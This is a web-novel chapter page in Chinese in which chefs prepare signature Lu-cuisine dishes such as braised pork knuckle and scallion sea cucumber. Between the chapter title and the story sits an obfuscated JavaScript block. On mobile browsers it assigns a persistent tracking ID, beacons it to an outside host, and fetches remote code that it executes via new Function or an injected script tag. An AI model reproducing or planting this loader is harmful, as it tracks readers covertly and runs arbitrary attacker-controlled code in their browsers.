第272章 一人一道招牌菜(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
白叶和赵桐虎又商量了一下,将菜单彻底订下。
现在八点钟,宴席十一点半开始,到主菜上菜还能有四个小时,时间很充裕。
几个人各显身手,白叶选择了一道扒肘子。这肘子他准备用秘制酱肉的调料来炖。
开始柳鸿等人都没在意,直到汤锅里开始冒起香气,大家都觉察到了什么。
都是厨师,鼻子比狗都灵。
是不是好东西,那真是一闻就知道。
“白叶,你这……秘方?”高原问道。
“嗯,秘方。”白叶点头。
这还真是秘方,只不过不是祖传的。而是统子传的,他自己找的。
“真香啊!”
“香,一会儿我们也尝尝。”
“这还不简单,我在里面还放了几块猪肉,咱们一会儿都尝尝。”
因为是做自己拿手的菜肴,白叶也件事到了正宗的鲁菜。
舒曼和柳鸿两个人都是鲁菜传承人,但是两人的派系可是不同的。
柳家地处聊城,聊城也被称为江北水城,大大小小的水流占据了三分之一,所以柳家极擅河鲜。
不过海鲜柳家也有涉猎,代表菜就有葱烧海参。
毕竟海参这东西,都是干货,不必须滨海城市。
葱烧海参做得好的店不少,他家老店的葱烧海参算是其中挺有特色的一家。
而舒曼家里传承则是泰素菜系。
泰山这边寺庙道观很多,来往上香的游客也多,所以素菜十分闻名。
舒曼家的老店就是传承几代专门做素菜的,尤其擅长做豆腐宴,可是不少食素爱好者的打卡餐厅。
今天两个人也都准备做自己做拿手的菜肴。
柳鸿就是做葱烧海参。
食材里有很上品的干海参。
需要提前泡发,至少十二个小时。前一天柳鸿特意过来了一趟,将这些海参带走自己浸泡,今天带过来已经快要泡好了。
但是这海参的泡发不能发到极致,只要到一定程度就好,这一点就限制了柳鸿随时都要注意着泡发程度。
白叶也好奇地询问这其中的缘故。